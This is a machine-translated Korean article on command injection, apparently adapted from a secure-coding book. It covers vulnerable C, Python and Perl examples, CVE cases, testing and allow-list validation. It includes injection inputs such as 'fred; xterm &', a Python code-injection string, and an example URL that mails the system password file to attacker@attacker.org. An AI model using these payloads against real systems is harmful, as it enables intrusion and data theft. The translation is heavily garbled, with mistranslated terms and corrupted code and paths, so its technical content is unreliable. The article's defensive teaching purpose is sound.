명령을 주입

Dutch French Spanish Portuguese Italian German Japanese Chinese Korean Russian Arabic Bookmark and Share this Article Original English article
  

1994 년 저자의이 지침서는 sgi 실행 컴퓨터 앞에 앉아 있었다 irix는 단순히 보여주는 로그인 화면입니다. 그것 줬다 일부 설명서 및을 지정할 수있는 옵션을 인쇄하려면 프린터를 사용합니다. 저자는 상상가 무엇을 구현 될 수를 지정하는 문자열을 해당하지 않는가 실제로 참조하여 프린터를, 그리고 갑자기했던 관리자는 윈도우에있는 상자의 저자뿐만 아니하기로 액세스 권한을 갖고 있지만, 또조차되지 않았다 로그인합니다.

이 문제는 명령을 주입 공격, 여기서 사용자가 입력하는 데이터가 실제로는 의미가 될 수있습니다 부분적으로 해석하여 명령의 일부를 정렬합니다. 자주, 그 명령을 줄 수있는 사람과 함께 제어할 수있는 데이터 액세스가 훨씬 더 접근하기위한 사상보다했습니다.

영향을받은 언어

명령을 주입 문제는 걱정 언제 명령과 데이터를 함께 인라인으로 배치됩니다. 반면 언어는 어떻게 제거 중 일부가 장 간단 명령을 주입 공격을 제공하여 좋은 응용 프로그래밍 인터페이스 (api)을 수행하는 적절한 입력을 검증, 거기는 언제나가 능성이 새로운 api는 새로운 종류의 명령을 주입 공격을 도입합니다.

죄를 해명

명령을 주입 문제가 발생하면 신뢰할 수없는 데이터가 배치로 데이터가 전달되는 일종의 컴파일러 또는 인터프리터, 여기서는 데이터 수도, 그렇지의 서식이 특정 방식, 이외 데이터로 취급된다.

이 문제에 대한 정식 들어는 언제나 api를 호출하는 명령을 통역없이 직접 통화가 시스템 유효성 검사를합니다. 예를 들어,이 지남 irix 로그인 화면 (언급한 이전)이 일을 무언 함께 라인의 :

  문자 buf [1024]; snprintf (buf, "시스템 lpr - p %의", user_input, sizeof (buf) -1); 시스템 (buf); 

이 경우에, 사용자는 권한이없는, 이래 수 절대적으로 누구나 방황하는 워크 스테이션입니다. 아직, 간단히 입력하여 텍스트 : 프레드; xterm &,는 터미널이 팝업을하기 때문에; 라고 엔드의 원래 명령의 시스템 쉘; 와 xterm 명령을 만들려면 전체가 새 터미널 창을 준비 명령을 사용하여 & 이 과정을 알려주는 시스템을 실행하려면 현재의 과정을 차단하지 않고있습니다. (파일의 셸, 앰퍼샌드 metacharacter 사도 행전과 동일 유닉스 상자에 세미콜론입니다.) 그리고, 이후에 로그인 과정은 관리자 권한을가 터미널이 만들어도가 관리 권한을!

지 다양한 기능을 통해 많은 언어가 쉽습이 같은 테러 공격으로 나중에 확인할 수있습니다. 그러나 명령을 주입 공격하는 함수가 필요하지 않습니다 전화를하는 시스템 쉘. 예를 들어, 공격자가 될 수있게 활용할 수있는 언어 통역사에 대한 호출합니다. 이것은 매우 인기가 높은 - 수준 언어와 같은 펄과 뱀. 예를 들어, 다음과 같은 고려 뱀 코드 :

  def call_func (user_input, system_data) : 실행 '을 special_function_ %의 ( "%의")'% (system_data, user_input 

앞의 코드가 뱀 % 연산자 사도 행전처럼 * printf 지정에 3 일치 그들의 값을 괄호로 %의 값은 문자열입니다. 그 결과,이 코드는 의도로 호출하는 함수를 선택하여이 시스템을 통과하여 사용자의 그것에 대한 인수. 예를 들어, system_data들이 샘플과 user_input들이 프레드, 뱀 것이다 코드를 실행합니다 :

  special_function_sample ( "프레드") 

그리고,이 코드는 실행에 동일한 범위가 실행이 명세서가 인치

공격자들을 통제 user_input 수있는 프로세스를 사용하여 자신이 원하는 코드를 실행할 수 뱀, 간단히에 추가 인용구, 다음에 오른쪽 괄호, 세미콜론. 예를 들어, 공격자는 문자열 시도할 수있다 :

  프레드 "); 인쇄 ( "foo 

이렇게하면 해당 기능을 실행하려면 다음과 같은 코드 :

  special_function_sample ( "프레드"); 인쇄 ( "foo") 

이것은 물론 일을 프로그래머가 의도한하지만은 또한 인쇄 foo. 공격자는 말 그대로 아무것도 이곳을 포함한 파일 지우기 권한이있는 프로그램, 또는 심지어 네트워크 연결을하게됩니다. 이러한 유연성을 통해 공격자가 접근을 그렇지 않은 경우보다 더 많은 권한을 갖고있는 보안 문제입니다.

대부분의 이러한 문제가 발생할 때 컨트롤을 구성하고 데이터가 음성, 그리고 공격자가 특수 문자를 사용할 수있습니다 문맥 위로 제어 구성을 변경합니다. 의 경우에 명령을 쉘, 지 수많은 마술 문자가이 작업을 수행할 수있습니다. 예를 들어, 대부분의 유닉스 - 같은 기계, 경우에 공격자들이를 추 세미콜론 (어떤 종료하는 성명), 백틱 (데이터 사이의 backticks 블록은 실행으로 코드), 또는 수직 막대 (모든 항목을 막대가 취급 또 다른, 관련 프로세스), 그들 임의의 명령을 실행할 수있다. 기타 특수 문자가있다는 맥락에서 데이터를 변경할 수있습니다 컨트롤; 이들은 그냥있는 확실한.

하나의 명령어를 실행과 관련된 문제는 문제 방지를위한 일반적인 기법을 사용하여 api를 호출하는 명령을 직접 통하지 않고 쉘. 예를 들어, 유닉스 상자가있습니다 execv () 제품군의 기능을 건너 쉘와 통화에서 프로그램을 직접 인수로 문자열을주고있습니다.

이것은 좋은 일이지만, 항상 문제가 해결되지 않는다, 특히 spawned 프로그램 자체하기 때문에 데이터가 바로 옆에 중요한 컨트롤을 구성 넣을 수도있습니다. 예를 들어, 전화 execv ()에있는 뱀 프로그램이 그 다음에 대한 인수 목록을 전달하는 실행이 될 불량합니다. 우리가 볼 수있는 경우에도 사람들은 execv () '를 개발 / 상자 / 명암 (이 명령 셸)을 완전히 놓치기 포인트입니다.

관련 죄

몇의 죄로 볼 수있습니다 특정 종류의 명령을 주입 문제가있습니다. sql 주사가 명확는 특정 종류의 명령을 주입 공격을합니다. 형식 문자열 문제점을 볼 수있다는 종류의 명령을 주입 문제를 너무합니다. 그 이유는 공격자가 소요되는이 값을 프로그래머가 예상된다 데이터를 입력한 다음 삽입 읽기 및 쓰기 명령 (예를 들어, '% 해당 지정자가 쓰기 명령). 이러한 특별한 경우가 있으므로 이들을 별도로 일반적인 것으로 취급했습니다.

이 또한 문제의 핵심은 크로스 - 사이트 스크립팅, 여기서 공격자 수있는 데이터를 선택한 모양 특정 웹 컨트롤 요소를 제대로 확인되는 경우 해당 데이터가없습니다.

spotting 죄를 패턴

다음은 원소를 패턴 :

  • 명령어 (또는 제어 정보)과 데이터가 서로 배치 인라인 옆에있습니다.

  • 이 몇가 능성이있는 데이터를 얻을 수있습니다으로 처리 명령, 자주 이유로 문자를 사용하여 특별한 의미와 같은 지수 및 세미콜론.

  • 제어할 명령은 사용자가 더 많은 권한을 부여보다 그들이 이미있습니다.

spotting 죄를 코드를 검토하는 동안

많다 api 통화 및 언어를 구성 전반에 걸쳐 다양한 종류의 서로 다른 프로그래밍 언어로이 문제는 쉽습니다. 좋은 접근 방식을 검토하는 코드에 대한이 문제는 매 건립을 먼저 파악하는 데 사용될 수있는가 능성을 호출 모든 종류의 명령 프로세서 (비롯한 명령 쉘, 데이터베이스, 또는 해당 프로그래밍 언어 통역 자체). 그런 다음, 모양을 통해 프로그램을 사용하여 이러한 구성은 실제로 사용되는 경우 중 하나를 참조하십시오. 이러한 경우에는 다음을 확인하십시오 촬영 여부를 적절한 방어 수단입니다. 반면 방어 대책에 따라 달라질 수있습니다 죄를 한해야한다 대개의 거부 -리스트 - 기반 접근법은 회의와 찬성을 허용 -리스트 접근 방식 (자세한 내용은 "상환 단계"섹션을 따르는)입니다.

다음은 몇가 지에 대한 걱정을 더 인기가 구성된다 :

언어 건설 덧글
c / c + + 시스템 (), popen (),
execlp (), execvp ()
posix
c / c + + 가 shellexecute () 족
의 기능을; _wsystem ()
win32 전용
시스템 만약 하나의 인수로 호출, 수
전화를 셸 경우에 문자열이
쉘 메타입니다.
실행이 와 비슷한 시스템을 제외한 종료
가 펄 과정입니다.
backticks (`) 는 일반적 쉘을 호출합니다.
열기 경우에 첫 번째 또는 마지막 문자의 파일 이름은 수직 막대, 그 다음 파이프를 대신 펄가 열립니다. 이 작업을 호출하여 나가는 쉘, 그리고 나머지는 파일명해진다 데이터를 통과 쉘.
수직 막대 연산자 이 사도 행전처럼 posix
popen ()을 호출합니다.
eval 평가 문자열 인수
펄 코드로합니다.
정규식 / 이메일 연산자 평 패턴 - 일치하는 부분 문자열로 펄 코드가있습니다.
실행이, eval 데이터를 얻을 평가 코드가있습니다.
os.system, os.popen 이러한 대리인을 기본 posix를 호출합니다.
execfile 이것을 실행하고 eval과 유사하지만,이 데이터를 실행하려면 지정한 파일에서 취합니다. 경우에 공격자에 영향을 미칠 수있습니다 파일의 내용이 동일한 문제가 발생합니다.
입력 이에 상응하여 eval (raw_input ()), 그래서이 실제로 실행 코드가 사용자의 텍스트를 그대로!
컴파일 의도는 컴파일 텍스트로 코드가 ostensibly있는 것이라 생각을 얻을 실행!
자바 class.forname (문자열 이름), class.newinstance () 자바 바이트 코드를 동적으로로드하고 실행할 수있습니다. 일부의 경우,이 코드는 sandboxed 때 오는에서 신뢰할 수없는 사용자 (특히 애플릿을 작성하는 경우).
자바 runtime.exec () 자바 시도를하지 않는 안전한 것은하여주고 어떠한 직접적인 설비를 호출하는 쉘. 하지만 포탄 수 있으므로 편리합니다 일부 작업이 많은 사람이 전화를이 함께하는 인수가를 명시적으로 포함하고있다는 쉘.

테스트 기술을 찾으려면 죄를

일반적으로 좋은 방법은 걸릴 때마다 입력, 생각은 어떤 종류의 명령 셸가 능성이 얻을 통과 해제를, 다음을 시도해 집착에서 각 metacharacter에 대해 쉘, 그리고 타격을 참조하면됩니다. 물론,하고자하는 방향으로 입력을 선택하려면, 해당 metacharacter 작품을 무언 평가 실제로 발생합니다.

예를 들어, 테스트를 확인하려는 경우 데이터가 전달되는 경우 유닉스 셸, 추 세미콜론, 그리고 그 다음에 메일을 직접 사용해보십시오 무언입니다. 하지만, 해당 데이터는 내부에 배치 인용 문자열가있을 경우를 삽입하는 최종 인용구를 얻을 명입니다. 를 커버이가있을 경우 테스트 케이스가 삽입 인용구 많았고 세미콜론, 다음의 명령이 메일을 자신 무언입니다. 체크하면 충돌이 발생하거나하지 다른 나쁜 것들은 물론 이메일 - 메일을받을 경우; 귀하의 테스트 케이스의 정확한 공격이 시퀀스를 수행하지 않을 수 있지만, 정도가 소요될 수있습니다 아직 밝힐 수도 문제를 닫습니다. 반면이 많이있다능한 방어,이 연습을 할 것입 너무 화려한받을 필요가없습니다. 당신 대개를 만들 수있는 간단한 프로그램이 만들어 수의 순열의 다양한 메타 (제어 문자가있는 특별한 의미와 같은;) 와 명령을 보낼 사람을 여러 개 입력, 그리고 무언 있으면서도 결과가 있는지 확인합니다.

도구에서 회사와 같은 spi 역학 및 watchfire 자동화 이런 종류의 테스트를위한 웹 - 기반 어플 리케이션입니다.

들어 죄

다음과 같은 항목의 일반적인 취약점과 취약성 (5467) 웹 사이트 (http://cve.mitre.org)이 사례는 명령을 주입 공격을합니다.

수 - 2001에서 1187 사이

가 csvform 펄 일반 게이트웨이 인터페이스 (패턴) 스크립트를 추 레코드를 쉼표로 - 분리된 값 () 데이터베이스 파일입니다. omnihttpd 2.07 웹 서버와 함께 제공하는 스크립트라고 불리는 statsconfig.pl. 이후에 검색어가 구문 분석을 파일명 (통과에 파일에 매개 변수)를 얻을 수를 통과하여 다음과 같은 코드 :

  서브 modify_csv (경우 (오픈 (csv, $ _ [0])) (…) 

에는 아무런 입력을 검증 완료에있는 파일 이름을 사용 중입니다. 그래서 사용하실 수있습니다 잔인한 속임수의 추가하는 파이프가 끝 부분에 파일명.

예를 들어 악용할 것이 중에는 다음과 같은 사이트를 방문하십시오 :

  http://www.example.com/cgi-bin/csvform.pl?file=mail % 20attacker@attacker.org </ 기타 / 비밀 번호 | 

에서 유닉스 시스템, 이것은 이메일 - 메일은 시스템 암호 파일을 공격자가있습니다.

참고로 % 20은하십시오 - 인코딩된 공간입니다. 해독을 확보 완료되기 전에 해당 데이터를 통과 스크립트 얻을 수있습니다.

이 예제 악용 우리가 부여되지 않은 모든 것을 흥미로운 요즘은 유닉스 암호 파일만을 제공하기 때문에 사용자 이름입니다. 공격자는 아마도 무언 대신 결정을 할 수 있도록 해주는 그들에 로그인과 같은 쓰기가 공용 키를 눌러 ~ / 스푸핑 / authorized_keys. 또는, 공격자는 실제로이 방법을 사용하여 자신이 원하는 모든 프로그램을 모두 업로드 및 실행을 쓰기 바이트를 파일입니다. 이후 실행중인 모든 상자에 이미 설치된 펄은 분명히이, 명백한 것은 이렇게 될를 작성하는 간단한 펄 스크립트를 연결할 위로는 공격자, 그리고에 연결, 부여는 공격자의 명령 셸.

수 - 2002에서 0652 사이

가 irix 파일 시스템을 마운트하는 서비스를 사용하면 원격 파일 시스템 마운트를 통해 rpc 통화를하고는 보통 기본으로 설치됩니다. 것으로 나타났다 것으로, 최대 전까지는 버그는 발견은 2002 년, 대부분의 파일을 검사하는 서버를 필요로 할 때 원격 요청을 받고 있었다 명령을 사용하여 구현 popen ()를 실행하려면 명령줄에서입니다. 이 정보에서 직접 촬영에 사용되는 통화는 원격 사용자, 그리고 저 - 배치 세미콜론의 rpc 매개을 허용 공격자 쉘 명령어를 실행하려면 루트에있는 상자로합니다.

상환 단계

분명한 좋은 방법은 결코을 호출하여 명령 인터프리터의 모든 정렬합니다. 그러나, 그것은되지 항상 실용적인, 특히 데이터베이스를 사용하는 경우입니다. 이와 유사하게, 그것이 바로 약으로 유용하게 말씀을 사용해야 할 필요가있는 경우의 명령 셸, 어떠한 외부 데이터에 그것을 사용하지 마십시오. 대부분의 경우에 실질적인 조언을하는 단지가 아닙니다.

의 유일한 좋은 대답은 유효성 검사를 수행합니다. 여기는 도로를 상환은 아주 간단합니다 :

  1. 수표의 데이터를되도록 것은 괜찮습니다.

  2. 적절한 조치를 취할 경우에 데이터가 잘못되었습니다.

데이터 유효성

언제가가 장 높은 수준을 수있는 두가 지 선택합니다. 하나의 유효성을 다 할 수있습니다 배송 끄기로 이동하기 위해 여러분의 외부 프로세스, 또는 단지의 유효성을 확인하실 수있습니다 신뢰할 수없는 소스로부터 입력되는 부분입니다. 하나는 벌금, 경우에 한해 철저한 약 그것입니다.

좋은 아이디어를 확인할 것이 보통 사용하기 전에 외부 데이터를 바로 그것입니다. 몇가 지 이유가 이것입니다. 첫째로, 그것을 보장하는 데이터를 얻을 검사에서 모든 데이터 경로를 사용하는 선두까지입니다. 둘째, 의미론의 데이터들은 종종이 데이터를 사용하기 전에 최선을 이해 오른쪽입니다. 이 옵션을 선택하면됩니다능한 정확한을 사용하여 입력 유효성을 검사합니다. 또한,이 좋은 방위 반대의가 능성을 수정하고있는 데이터에 나쁜 방법으로 이후에 체크합니다.

궁극적으로, 그러나 한 방위 -에 - 깊이 전략은 우수 여기에있습니다. 또한 좋은을 확인하려면 데이터가 있으므로되도록에서 오는 위험은 그것이 없다 검사를하지 않고 다른 곳에서 사용되고있습니다. 특히 많은 온천이있다면 어디에있는 데이터는 학대를 것이 쉽게 간과하는 수표에서 일부 장소입니다.

세가 지 눈에 띄는 방법을 확인하려면 데이터 유효성 :

  • 의 거부 -리스트 접근 방식을 찾아 경기를 시연하는 당신의 데이터가 잘못을하고 수락 그밖로 유효합니다.

  • - 목록 접근법을수 있도록 허용 모양가 일련의 유효한 데이터 및 거부 바를 (심지어의 일부가 능성이있을 경우 문제가되지 않습니다).

  • 은 "말을 인용해"접근하면 변환이 데이터 있도록 아무것도 안전하지 않을 수 없다.

모두 이러한 방식의 단점이 잊을 수있는 무언 중요합니다. 의 경우 부인 -을 나열하고 말을 인용해,이 수 분명히이 나쁜 보안을 의미합니다. 실제로, 그것의가 능성이됩니다 끝까지 거부 -리스트 접근 방식을 사용하는 보안 소프트웨어를 전달하는 경우가 데이터를 어떤 종류의 시스템은 (예 : 쉘), 목록의 문자가 있기 때문에 특별한 의미를가 질 수있는 이 실제로 꽤 오랜 시간입니다. 에 대한 일부 시스템, 일도 이외의 글자와 숫자는 특별한 의미를가 질 수있습니다. 인용은 또 하나의 수도 있다고 생각보다 훨씬 더 어렵습니다. 예를 들어, 하나는 쓸 때 인용에 대한 어떤 종류의 명령을 수행하는 코드가 프로세서, 그것의 공통를 복용하는 문자열을, 그리고 스틱 그것은 인용 부호입니다. 조심하지 않은 경우, 공격자는 자신의 시세에 그냥 던지있다. 그리고,이 일부 명령 프로세서, 내부에 의미가있는 지조차 메타 인용 문자열 (이 포함 유닉스 명령을 쉘)입니다.

를 줄 수있는 감각이 얼마나 어렵게 할 수있습니다을 시도하여 적어 모든 유닉스 쉘 metacharacter를 직접합니다. 촬영으로 제어할 수있는 모든 것을 포함하는 대신 데이터입니다. 얼마나 큰 것은 귀하의리스트가?

우리의 목록에는 각 부분의 구두점을 제외한 @, _, +, :,와 쉼표입니다. 그리고 우리가 모르는 그러한 문자는 보편 안전합니다. 껍질이있을 수있는 것을 염려하지 않습니다.

일부 다른 문자가 있다고 생각해야 할 수있습니다 결코 특별한 의미로 해석된다. 마이너스 기호가? 수있는 신호의 시작으로 해석하는 명령 - 라인 옵션이 경우 단어의 시작 부분에있습니다. 하는 방법에 대해 캐럿 (^)을합니까? 그것은 대체를 알고 계십니까? 어떻게 내용을 % 기호가? 치명적이 될 수도 있지만 종종 metacharacter로 해석하는 것이 metacharacter에서 일부 상황에서 않으므로 작업을 제어합니다. 물결표 (~)는 비슷한 것이라고, 일부 시나리오를 확장하여 사용자의 홈 디렉토리의 시작 부분에있는 단어의 경우지만 그렇지 않습니다 metacharacter으로 간주됩니다. 수있는 정보 유출 또는 악화시킬 수있는, 특히 벡터에 대한 나타나는 경우가 파일 시스템의 한 부분을 볼 수있는 프로그램을해서는 안됩니다. 예를 들어, 귀하의 프로그램에서 발생할 수 스틱 / 정 / ㅋ / 응용 프로그램을 누른 다음 두 점에 문자열을 금지합니다. 에 액세스할 수 있지만 사용자가 될 수 아무것도 / 정 / ㅋ ㅋ 것만으로 접두와 함께 ~ ㅋ ㅋ.

심지어 공백을하실 수있습니다 제어 문자를하기 때문에 그들 사이의 인수 또는 명령을 사용하여 semantically 별도입니다. 거기에는 많은 종류의 공백은이 문제를 포함한 탭, 새로운 라인, 캐리지 리턴, 폼 피드, 및 수직 탭합니다.

또한,도있을 수있습니다 제어 문자처럼 ctrl - 개발과 널 문자를 사용하는 바람직하지 않은 효과가있을 수있습니다.

우선를 사용하는 것이 훨씬 용이합니다 - 목록을 허용합니다. 이동하여 사용하는 경우 거부 - 목록, 원하는만큼 더 잘 될 수 있는지 확인하십시오을 다루는 모든 기지입니다. 하지만, 허용 - 나열만으로는 충분하지 않을 수있습니다. 교육이 반드시 필요하기 때문에 사용하는 경우에도 허용 - 목록, 공백이나 물결표를 허용하지 않고있습니다 실현에 어떤있을 수있는 보안 관점에서 프로그램입니다.

또 다른 문제가 발생할 수있는 불행을 허용 -리스트는 사용자가 허용되지 않기 때문에 입력이되어야합니다. 예를 들어, 여러분하는 것을 허용하지 않을 수도있습니다 "+"의 전자 - 메일 주소지만 같은 사람들을 찾아 그들을 차별을 사용하는 사람들은 자신의 이메일 - 메일 주소를 갖게됩니다. 그러나 여전히 허용 -리스트 접근 방법이 다른 두 접근 방식을 강력히 좋습니다.

이 사건을 고려하여 사용자의 위치를 취할 수있는 값은 파일명으로 취급됩니다. 봅시다하지 유효성 검사와 같은 (이 예제는 뱀) :

  에 대한 문자의 파일명 : 경우 (없는 문자에 string.ascii_letters 및 않는 문자에 string.digits와 문자 <> '.'): 늘리 "inputvalidationerror" 

이 기술을 통해 마침표 그래서 사용자 수 종류의 파일을 사용하여 확장, 그러나 잊어 내용은 밑줄을하는 일반적인합니다. 그러나으로 거부 -리스트 접근 방식을하실 수있습니다 슬래시가없는 생각을 금지하고있는 것이 좋지; 공격자는 점에 액세스하려면 파일을 다른 곳에서 사용하지 플러스에있는 파일을 넘어 현재 디렉토리입니다. 을 인용해 접근법을, 당신은 없었을 작성하는 훨씬 더 복잡한 구문 분석 루틴입니다.

그것의 일반적인 정규식을 사용하여 이러한 종류의 테스트를 수행합니다. 정규식은 쉽게 얻을 잘못된하지만, 특히 될 때 복잡합니다. 핸들을하려는 경우 중첩된 구성하고 그러한을 잊지 소개합니다.

일반적으로,의 보안을보고, 그것의 더 좋은가보다 안전합니다 죄송합니다. 정규식을 사용 이어질 수있습니다보다는 쉽고 안전 사례, 특히 대부분의 정밀한 검사가 필요할 경우에 비해 더 복잡한 의미 론적을 확인하는 간단한 패턴이 일치합니다.

검사가 실패하는 경우

이 3 개의 일반적인 전략을 다루는이 실패합니다. 상호 배타적라도 상관없습니다. 반갑습가 항상 필요 최소한의 첫 번째 두 개의 :

  • 신호가 오류 (물론, 거절 명령을 실행으로 -가). 조심하는 방법을보고는 오류하지만. 그냥 불량 데이터를 다시 복사하는 경우, 그 기초가 될 수있다는 크로스 - 사이트 스크립팅 공격을합니다. 여러분도 부여하지 않으려면 공격자가 너무 많은 정보를 (특히 경우에 수표를 사용 실행 - 시간을 구성 데이터), 그래서 때로는 것이 최선을 간단히 말씀 "잘못된 문자가"또는 일부 다른 막연한 응답합니다.

  • 로그의 오류를 비롯한 모든 관련 데이터를합니다. 조심하는 로깅을 처리하지 않는 자체가 될 지점의 공격; 일부 로깅 시스템을 수락 서식 자, 그리고하려고하는 어리석음 로그 일부 데이터 (예 : 캐리지 리턴 및 줄)을 못했습니다 결국 손상의 로그입니다.

  • 수정에 데이터가 유효 다음 중 하나를 교체로 기본 값으로 또는 변형이있습니다.

일반적으로 세 번째 옵션을 권장하지는 않습니다. 뿐만 아니라 실수한을 할 수 있지만, 실수한하지 않는 경우도 있지만, 최종 사용자는, 예기치 못한 의미론 수있습니다. 을보다 쉽게 단순히 실패하고 안전하게 작업을 수행합니다.

여분의 방어 대책

를 사용하고있는 것으로 일어날 경우 펄,이 언어는 이러한 종류의 오류를 감지할 수 있도록 도와주는 시설 런타임입니다. taint 모드 것이라고합니다. 의 기본적인 아이디어는 펄 않습니다 분류할 수 보내기 unsanitized 데이터를 하나의 잘못된 기능을 상기합니다. 그러나 검사를에서만 작동 taint 모드, 그래서 이익을 얻을 수 없음을 실행하지 않으면 그것입니다. 플러스를 할 수있습니다 유엔 - taint 데이터를 실수로 아무 것도하지 않고 정말 문제가 확인되었습니다. 지 다른 사소한 제한, 너무, 너무 반갑습니다 전적으로 즉시이 메커니즘을 사용하지 않습니다. 그럼에도 불구하고 그것의 남아있는 훌륭한 테스트 도구, 그리고 일반적으로 하나의 방어 치가 켜면됩니다.

에 대한 일반적인 api를 호출하는 호출 명령 프로세서, 자신의 래퍼를 작성할 수도있습니다 api가 그들 않는 허용 - 목록을 필터링 및 던진다 예외 경우에 입력이 불량합니다. 이되어서는 안의 유일한 입력 유효성 검사를 할 필요가 있기 때문에, 자주, 그것의 더 나은을 수행보다 자세한 sanity 수표에 대한 데이터 값입니다. 그러나, 그것은 좋은 첫 번째 줄에의 방위, 그리고 쉽게을 시행합니다. 하나를 만들 수있습니다 래퍼를 교체합니다 "나쁜"기능, 또는 간단한 검색 도구에 대한 코드를 사용하실 수있습니다 감사의 모든 인스턴스를 찾을 수 놓친하고 신속하게가 오른쪽 대체합니다.

결론

  • 작업을 수행할 입력 유효성 검사에 통과하기 위해 모든 입력하기 전에 명령 프로세서가있습니다.

  • 핸들의 실패를 안전하게 수행하는 경우 입력 유효성 검사가 실패합니다.

  • 통과하지 않은 입력하여 모든 명령 프로세서, 심지어 의도가있는 경우에는 입력하면 바로 데이터를 수있습니다.

  • 거부 -리스트 접근 방식을 사용하지 않는 경우는 100 % 확신 귀하는 회계의 모든가 능성을합니다.

  • 정규식에 대한 입력 유효성을 고려 피하고; 대신, 쓰기를 간단하고 명확 검사하여 한족

이것은 문서들 의해 hendra 독아를
면책 조항 : 우리의 웹사이트가 포함되어있는 정보는이 문서에 대해 책임을지지 않습니다. 본 문서를 어떠한 방식 으로든 반영합니다 조회, 의견, 생각이나 신념의 기사를 디렉토리 직원입니다.

번역을 고지 :이 문서 "명령을 주사"는 번역하는 자동 번역 서비스를 사용합니다. 우리가 진심을 끼쳐 드려 번역 오류가 발생했습니다. 이해에 감사드립니다.


Online: 915 users browsing the articles directory